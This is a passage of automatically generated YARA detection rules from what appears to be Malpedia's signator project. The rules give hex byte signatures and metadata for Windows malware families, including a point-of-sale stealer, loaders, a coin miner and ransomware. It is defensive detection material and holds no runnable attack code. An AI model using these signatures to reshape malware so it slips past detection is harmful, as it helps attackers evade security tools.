		logic_hash = "a98816f76882e4d75e28a23473f5f4b08f8f9c7a339abedcd3611228b4563cbb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 84c9 75f6 8b8da8feffff 8bc1 c1e817 2401 8885dafeffff }
		$sequence_1 = { 8b7b3c 898580fbffff 33c0 66898594fbffff 8b432c 89859cfbffff 8b4310 }
		$sequence_2 = { 84c9 75f9 2bc6 8d8418280a0000 50 e8???????? 8bd8 }
		$sequence_3 = { 3bc8 727c 03c0 8945fc 3bc1 7703 894dfc }
		$sequence_4 = { ffb5e0feffff e8???????? 59 8bbde4feffff 8b4508 6a4b 83c708 }
		$sequence_5 = { 814df800000001 3bd7 7507 814df800008000 8b5d08 57 }
		$sequence_6 = { 33c9 3c01 0f94c1 8d442430 52 51 50 }
		$sequence_7 = { 50 e8???????? 8b4de4 83c40c 6bc930 8975e0 8db118bb0210 }
		$sequence_8 = { 56 57 6a09 59 33c0 be1c010000 56 }
		$sequence_9 = { 53 55 56 57 33c0 be???????? 6a06 }
	condition:
		7 of them and filesize < 429056
}

rule MALPEDIA_Win_Abaddon_Pos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "618065dd-9f8b-57c5-a1c0-0e96b509ca5a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.abaddon_pos_auto.yar#L1-L167"
		license_url = "N/A"
		logic_hash = "6a0d0d67cac52b36a9cdcb672d29dd1257357954e73ab46b05405f9db5dca5b4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 750a 83fb3c 7605 e9???????? }
		$sequence_1 = { 7605 e9???????? 48 034510 48 0500040000 803800 }
		$sequence_2 = { 43 8b86ac010000 b400 b20a f6f2 80fc00 7406 }
		$sequence_3 = { 8945fc 83f800 7502 eb86 6800d00700 ff75ec }
		$sequence_4 = { eb91 81be0c01000080cf0700 7607 bb80cf0700 eb06 8b9e0c010000 }
		$sequence_5 = { 48 89c7 48 8d86b8010000 48 }
		$sequence_6 = { 6a00 6a02 ff15???????? 8945e8 8d95c0feffff 52 }
		$sequence_7 = { 81c3f8030000 8903 48 31db 48 8b96d0050000 }
		$sequence_8 = { 31c0 48 31d2 8a841eb8010000 }
		$sequence_9 = { ff15???????? 8b86a0010000 3b86a4010000 0f83e6030000 8b9e94010000 039ea0010000 803b33 }
		$sequence_10 = { 83f809 7603 83e809 ba00000000 eb05 ba01000000 0186ac010000 }
		$sequence_11 = { 80fd3e 7406 41 80fd3f 756e 49 }
		$sequence_12 = { 89e5 48 83ec20 48 c7c100000000 }
		$sequence_13 = { 2c30 80ea30 666bc00a 48 01d0 48 89da }
		$sequence_14 = { 52 ffb558feffff ff15???????? 8d9530fdffff 52 }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Nikihttp_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d7cb3a9d-079b-5853-9e14-59480637c45a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nikihttp"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nikihttp_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "3a904456555531ef9c0cf6ba40524ce39305f318798212cc3d8f5ea0c8f6e7e2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 81fb41cd9ec8 75f0 bbcc8dc70b 662e0f1f840000000000 90 81fbe1bcb5f8 7e28 }
		$sequence_1 = { bf35a51c0f 41bed886138b 41bf87556a70 0f1f440000 81ffdc69e0ab 0f84b0000000 81ff35a51c0f }
		$sequence_2 = { 81fe7b887e5d 740a 81fee5f97f04 75f0 eb07 bee5f97f04 ebe7 }
		$sequence_3 = { b8ca43fd9f e9???????? 488b8d98000000 488b9580000000 488b4580 4883ec20 ffd0 }
		$sequence_4 = { c785d000000003000000 8b8dd0000000 0fbec9 01c1 bab8c94eab ebab 898dd0000000 }
		$sequence_5 = { bbdd37ea6d ebb4 884d78 8a4d78 884801 c6400200 488b4d00 }
		$sequence_6 = { bb26cfb9cb 660f1f840000000000 81fbf6c7d601 7f28 81fbddb48ecd 7f50 81fb1c10669d }
		$sequence_7 = { 8b442404 8b442404 8b442404 8b442404 8b442404 b837c4eca4 e9???????? }
		$sequence_8 = { babec982ec 0f45ea ba51cce543 662e0f1f840000000000 0f1f00 81facbe177f9 7e28 }
		$sequence_9 = { ebe9 89bdd0080000 8b85d0080000 6689431e c785a808000020000000 b813cbdf5e 662e0f1f840000000000 }
	condition:
		7 of them and filesize < 2543616
}

rule MALPEDIA_Win_Flowershop_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "40619a48-6b17-5bee-8aad-65bf7cac75aa"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flowershop_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "ba2d45fad977755fd044c78f8aeed860d85d236ff95a62d89180f428b8bcb5e7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3b45f0 74e0 8945f0 6a08 8d45f0 6a00 50 }
		$sequence_1 = { 5e c3 56 33f6 8935???????? e8???????? a1???????? }
		$sequence_2 = { ff75e0 e8???????? 83c418 85c0 750e c705????????01000000 33c0 }
		$sequence_3 = { 59 85c0 59 741f 8b07 0105???????? }
		$sequence_4 = { 51 56 57 33ff 897df8 897dfc c745f898c3fead }
		$sequence_5 = { 894d0c 76bb 33c0 5f 5e 5b c9 }
		$sequence_6 = { eb71 0fb605???????? 6bc07c 50 8d85f9e0ffff 68???????? 50 }
		$sequence_7 = { 33c9 83c60c 81fe???????? 72d8 85c9 0f8471ffffff }
		$sequence_8 = { 8b7510 8b7dfc 837e0400 750b 817e0818350000 7502 ff17 }
		$sequence_9 = { 2b01 c3 8b442404 8b542408 8b4804 03ca }
	condition:
		7 of them and filesize < 829440
}

rule MALPEDIA_Win_Comlook_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "248fcbac-27be-588f-a9f5-d4bcd5003e90"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.comlook_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "342d3eba65a3a3eb715f8cb01d2789f76a6de2adfe9c491e43fe2b64805812f2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd2 3bf4 e8???????? b807000000 e9???????? 837db000 741f }
		$sequence_1 = { ff15???????? 83c404 3bf4 e8???????? 8b4508 c7400800000000 33c9 }
		$sequence_2 = { e9???????? 8b55f8 83ba5007000000 750a 837dbc00 0f8438020000 c78554ffffff00000000 }
		$sequence_3 = { e9???????? 68df010000 68???????? 6a0c 6a05 e8???????? 8b87c4000000 }
		$sequence_4 = { eb0a c785c8feffff44f72010 8b5508 83ba7403000000 7411 8b4508 8b8874030000 }
		$sequence_5 = { c745f000000000 6a00 e8???????? 83c404 8945e8 8955ec c745e400000000 }
		$sequence_6 = { eb03 894dbc 8b4de4 8b55d0 8bc2 83f910 7303 }
		$sequence_7 = { eb0a c785b4eeffff518c1e10 837d1400 740c c785b0eeffff70191e10 eb0a c785b0eeffff518c1e10 }
		$sequence_8 = { e9???????? 6a02 68???????? 6a01 8b5508 52 e8???????? }
		$sequence_9 = { eb11 8b5518 8b4510 33c9 3b4218 0f9fc1 894ddc }
	condition:
		7 of them and filesize < 4553728
}

rule MALPEDIA_Win_Alma_Communicator_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dd1f8f96-5178-5e9c-b517-f0f999a8d81a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alma_communicator_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "4a8409fa38b9c8a27f076e76311702617520d12f6ac449f7858d852242e0bc37"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83e13f 6bc930 53 8b5d10 8b0485f08f4100 56 8b7508 }
		$sequence_1 = { 88040a 41 84c0 75f6 ba???????? }
		$sequence_2 = { 68f4010000 e8???????? 8364242800 8bf0 59 }
		$sequence_3 = { 8b0485f08f4100 56 8b7508 57 }
		$sequence_4 = { 8a4f01 47 84c9 75f8 8d8de0fdffff 668907 e8???????? }
		$sequence_5 = { eb06 8b9d18ddffff 57 e8???????? }
		$sequence_6 = { 52 52 ff15???????? 89849da0e9ffff 43 68e8030000 }
		$sequence_7 = { 0f4ecb 8bd9 7fe6 8bfe 8d4f01 }
		$sequence_8 = { 59 33c9 89442414 8bf1 }
		$sequence_9 = { 59 59 8945f4 8d45f8 50 }
	condition:
		7 of them and filesize < 245760
}

rule MALPEDIA_Win_Tendyron_Dropper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "08b15c69-b6bb-5f67-94b5-3ede90043914"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tendyron_dropper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tendyron_dropper_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "94561d7c039213b2f4a4b8b35e59d5ff0543e6273d6a081dce691bd5357ae7eb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6639430e 750f 6817070000 ff15???????? 33c0 }
		$sequence_1 = { 81ec84000000 53 56 57 6a44 8bd8 }
		$sequence_2 = { bf00200000 57 8945f0 e8???????? 59 6a00 57 }
		$sequence_3 = { 85c0 7d0b 3b7d68 7501 }
		$sequence_4 = { 56 33db 8d85b0feffff 53 50 e8???????? }
		$sequence_5 = { 59 3bf3 0f84f3feffff 8b45fc 53 68d3000000 }
		$sequence_6 = { 84c9 75f9 2bf2 8bce 8b75fc 33d2 f3a6 }
		$sequence_7 = { 72ee 83f81e 77e9 833d????????00 }
		$sequence_8 = { 68???????? c70614010000 ff15???????? 50 ff15???????? }
		$sequence_9 = { 8a01 3429 0429 8801 41 4e }
	condition:
		7 of them and filesize < 58368
}

rule MALPEDIA_Win_Downdelph_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4f6b1d19-3f1f-5f81-9e45-1d0b60961ede"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.downdelph_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "eae4c367be0b783aacccaf67139d8191ef5e286d3c53b64319eee5bb00fa728e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b0d???????? ba???????? e8???????? 8b55d4 8d45d8 }
		$sequence_1 = { 8d45f0 e8???????? 8d45e4 33c9 ba08000000 e8???????? 8b45f4 }
		$sequence_2 = { 8d45f4 ba02000000 e8???????? 8d45fc 8b15???????? }
		$sequence_3 = { 7c66 46 33db 8d45c0 }
		$sequence_4 = { 8b14b0 8d45e0 b9???????? e8???????? 8b55e0 8d45e4 e8???????? }
		$sequence_5 = { 8d45f8 e8???????? 8b55f8 8d45fc 8b4dfc e8???????? 8bc3 }
		$sequence_6 = { 7409 8b12 50 e8???????? 58 83e808 e8???????? }
		$sequence_7 = { 33c9 ba04010000 e8???????? 8d45f8 }
		$sequence_8 = { 81ce00ffffff 46 0fb68c35bcfeffff 884df7 889435bcfeffff }
		$sequence_9 = { 8d45e4 ba03000000 e8???????? 8b55e4 8d45fc }
	condition:
		7 of them and filesize < 172032
}

rule MALPEDIA_Win_Unidentified_080_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "167c06b1-3a4c-5ce4-bead-27b24b52c04c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_080_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "1ce14bfb96c0d551ff9abc4441491b6d6b29b9deb460d6ae62dbbcd58745f42a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85f6 7431 8d460d 50 e8???????? 83c404 85c0 }
		$sequence_1 = { ff15???????? 68e8030000 ff15???????? 8b85e0fdffff 40 8985e0fdffff 83f80a }
		$sequence_2 = { 8b5004 8bce c745ec88310210 ffd2 33c0 }
		$sequence_3 = { 899d8cfdffff 898504fdffff 899d88fdffff 899d90fdffff 899d94fdffff }
		$sequence_4 = { 57 56 6a01 50 ff15???????? 85c0 }
		$sequence_5 = { 741d 8b5508 8bf3 e8???????? 83c404 5f c7830050000000000000 }
		$sequence_6 = { 767d 03c7 3b44243c 763f 8b44243c 0500400000 50 }
		$sequence_7 = { 894c2414 8b4760 8b5f6c 8b742414 }
		$sequence_8 = { 40 3bc7 72f6 eb2b 8d5001 8bcf 2bca }
		$sequence_9 = { 8b5c2414 83c3f4 81fb???????? 7414 53 ff15???????? 85c0 }
	condition:
		7 of them and filesize < 392192
}

rule MALPEDIA_Win_Atlantida_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "449807de-c2d1-5bb0-a23b-6b1bb9a18e58"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atlantida"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atlantida_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "5a71a5b3ff4a38d6154af29c3b9c4fd13de9adafd3282b12a56385b9c3f01092"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f7d8 33d9 03f1 c1f2eb c1b454002000f03f 668b840780fd47a1 0fb68c54002000f0 }
		$sequence_1 = { e9???????? f7d2 66d1e8 0fca 0f81cb3a0a00 33da 59 }
		$sequence_2 = { f6d9 d0c9 80e9b9 fec0 fec0 c1c20c 32d9 }
		$sequence_3 = { f7da fec0 f6d0 42 6698 e8???????? 0f34 }
		$sequence_4 = { f7d2 66898c8706fefdff 0fbeca 8b144f f6d8 0fabc0 d2c1 }
		$sequence_5 = { ffc7 6641 d1c7 6645 0fc1d5 48 99 }
		$sequence_6 = { ff5315 14a8 6292bfc572de 1ad7 381d???????? 50 a9dac0aaf7 }
		$sequence_7 = { e8???????? 8b442500 ba90b9872b 80e298 8d0c55ad51af3f 8b8c55e48cf0a8 661bd2 }
		$sequence_8 = { fec0 33d3 6633c9 2d0066b83d 35a05ea552 42 f7da }
		$sequence_9 = { f7d8 33d8 0fca 66c1f90b 0f878f9f1200 03f0 660fa3d1 }
	condition:
		7 of them and filesize < 13793280
}

rule MALPEDIA_Win_Guidloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eceb0420-babc-5550-b00f-55949b1733ed"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.guidloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.guidloader_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "909d36bb63fb6009cd4cb0cf7912a67325d3ddd81af65c11026fd36fda233963"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 498bd4 e8???????? 837d1000 0f8659020000 44896c2428 488d5510 4c8bcf }
		$sequence_1 = { 4d2bc8 418b51fc d3ea 4c894808 895018 410fb609 }
		$sequence_2 = { 83f802 7711 488b4228 49394128 418b08 0f44cf }
		$sequence_3 = { e8???????? 4533c0 4c8d0dcd72ffff 498b5508 0fb60a 83e10f 4a0fbe840920460100 }
		$sequence_4 = { 4c8d442448 488d1532700000 33c9 ff15???????? 488b4c2448 85c0 }
		$sequence_5 = { 418807 4c852e 764f ba30000000 49b80000000000000f00 6666660f1f840000000000 488b06 }
		$sequence_6 = { 4889442460 4863842420010000 4889442468 0fb6842440010000 0f298c2480000000 0f280d???????? }
		$sequence_7 = { 898c9564010000 49c1e820 453bcd 75d6 4585c0 742e 8b8560010000 }
		$sequence_8 = { 410f1006 0f11442430 e9???????? 488bfe 4883cf0f 483bfb 7629 }
		$sequence_9 = { 894208 f6c310 740a 418b02 4983c204 89420c 807c243000 }
	condition:
		7 of them and filesize < 49251328
}

rule MALPEDIA_Win_Ymir_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ec16ddc4-25ef-5b31-b796-dd562960b36b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ymir"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ymir_auto.yar#L1-L92"
		license_url = "N/A"
		logic_hash = "853e5b985d29c6039b89b0f82cf98458f3d83850f989fe396b592ab8b2bdf1fe"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c89ea 4889c1 4c0f47c3 e8???????? }
		$sequence_1 = { 4c89ea 4889cb ff5078 488d05a7211000 }
		$sequence_2 = { 4c89ea 4889d9 41ff14fe eb85 }
		$sequence_3 = { 4c89ea 4889c1 4989c4 e8???????? 488d1573bf0400 31c9 }
		$sequence_4 = { 4c89ea 4889c7 488d05ec682800 4c8d3585682800 }
		$sequence_5 = { 4c89ea 4889c6 498b0424 c744242001000000 }
		$sequence_6 = { 4c89ea 4889d9 488ba8d8000000 4889ac2488000000 }
		$sequence_7 = { 4c89ea 4889c1 e8???????? 4189f2 }
	condition:
		7 of them and filesize < 5530624
}

rule MALPEDIA_Win_Unidentified_082_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7772581c-e8cf-5615-a758-46ef9c1fc0b0"
		date = "2021-10-07"
		modified = "2021-10-08"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_082"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_082_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "fdfe1ddce9f77ac8b465b0ddebe868c5e77078cf2b2457573a5b3810682f45ee"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20211007"
		malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535"
		malpedia_version = "20211008"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8d0dbc190200 0f1f4000 0f1f840000000000 418d4801 }
		$sequence_1 = { ff5018 4c634510 488d0df40a0200 488bd8 33c0 }
		$sequence_2 = { 4c634510 488d0d93fa0100 488bd8 33c0 488bd3 488905???????? 488905???????? }
		$sequence_3 = { ff15???????? 488b0cdf ff15???????? 48c704dfffffffff }
		$sequence_4 = { 4885c0 0f84ac010000 48833d????????00 0f849e010000 48833d????????00 0f8490010000 48833d????????00 }
		$sequence_5 = { 488b0d???????? 8b5108 488b4910 4533c9 458d4130 4c89742420 }
		$sequence_6 = { 33c0 e9???????? 8a07 4c8b7c2448 4c8d25a64c0100 4b8b0cfc ffc3 }
		$sequence_7 = { 0f1f4000 0f1f840000000000 418d4801 0fb6c2 41ffc0 f7da }
		$sequence_8 = { 488b4f18 4c8d4d10 488b01 488d1587000200 41b810000000 ff5018 4c634510 }
		$sequence_9 = { 48894598 eb03 4533f6 488b05???????? 80782e00 740a 80782000 }
	condition:
		7 of them and filesize < 414720
}

rule MALPEDIA_Win_Kingminer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dc87ee85-ad64-51c7-a30a-c6bd4d73fed8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kingminer_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "a5745ddfac302b5a6ad793ecca6fc94da98fb5fc6ae2a187ff80bbe4b8e2d2c1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945f0 c745f400000000 3b0d???????? 0f8d8e010000 68???????? ff15???????? }
		$sequence_1 = { 8b8db0feffff e8???????? 8b95d8feffff 8b8db0feffff 52 8bf0 e8???????? }
		$sequence_2 = { 53 8b5f38 f6c301 7570 0fb74706 }
		$sequence_3 = { 0fb75714 8d4c3a24 85c0 7429 8bf0 }
		$sequence_4 = { 52 e9???????? a1???????? 6800040000 }
		$sequence_5 = { 3bf0 741e 68c1000000 ff15???????? 5b }
		$sequence_6 = { 68???????? ff15???????? 8b7508 c7465c88d00010 }
		$sequence_7 = { 8b0d???????? 8945ec 8b4624 83c628 }
		$sequence_8 = { 8975e4 33c0 39b8a0f70010 0f8491000000 }
		$sequence_9 = { 8b95d0feffff 2b4234 7419 83b9a000000000 7466 50 }
	condition:
		7 of them and filesize < 165888
}

rule MALPEDIA_Win_Nitrogen_Ransomware_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f1d15105-1f60-56bd-9f57-5d0889e5b371"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrogen_ransomware"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitrogen_ransomware_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "80271e297eab8217b53749d1fda8214698e5eac53c180b085f9fa59013bd1e3e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f26c 4183c405 66410f6ed8 4183f569 8b8c2470030000 4183f46c 660f6eca }
		$sequence_1 = { 83c004 31d0 66898424bc020000 0fb79424be020000 8b8424b0020000 83c005 31d0 }
		$sequence_2 = { 66898424ae240000 0fb79424b0240000 8b8424a0240000 83c006 31d0 66898424b0240000 0fb79424b2240000 }
		$sequence_3 = { 4189c3 8b8424a06a0000 83c01b 663305???????? 89c3 8b8424a06a0000 83c01c }
		$sequence_4 = { 83c20d 8944247c 8b8424204f0000 83f274 89442478 8b8424204f0000 89442474 }
		$sequence_5 = { 89442428 660fc4cf01 448b8424702a0000 66450fc4cb01 894c2424 4183c107 66410f62c9 }
		$sequence_6 = { 83f065 668984247a400000 0fb7442420 83c00e 83f072 668984247c400000 31c0 }
		$sequence_7 = { 440fb73d???????? 0f118c24d0650000 8d680a 0fb705???????? 418d4f0a 440fb73d???????? 8d780a }
		$sequence_8 = { 6689bc24900a0000 0fb77c245e 6689bc24920a0000 6689b424940a0000 f30f6fac24400a0000 f30f6fa424700a0000 66899c24960a0000 }
		$sequence_9 = { ff15???????? 8b542440 4889d9 83ca04 ff15???????? 90 4883c468 }
	condition:
		7 of them and filesize < 2590720
}

rule MALPEDIA_Win_Ruckguv_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0458bbf5-faad-51b1-bbf4-5951261d0eab"
		date = "2026-01-05"
		modified = "2026-01-06"
